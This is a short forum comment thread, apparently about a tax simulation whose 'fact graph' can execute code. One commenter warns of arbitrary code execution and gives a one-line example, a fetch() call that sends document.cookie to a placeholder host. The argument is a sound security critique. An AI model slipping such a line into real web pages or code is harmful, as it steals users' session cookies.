Comment by catlifeonmars

9 hours ago

This is an interesting, but objectively terrible idea. You’ve now introduced arbitrary code execution into something that should be data.

Now let me send you a fact graph that contains:

    fetch(`https://callhome.com/collect?s=${document.cookie}`)

4 comments

catlifeonmars

Reply
n_e  8 hours ago

The "data" is part of the tax simulation source code, not untrusted input, so such an attack vector doesn't exist.

  • catlifeonmars  8 hours ago

    Yet. You’re adding one other thing that authors need to keep in mind when developing the product, fixing bugs, and adding features. The fact that the input must be trusted is not an intrinsic part of the business logic, it’s an additional caveat that humans need to remember.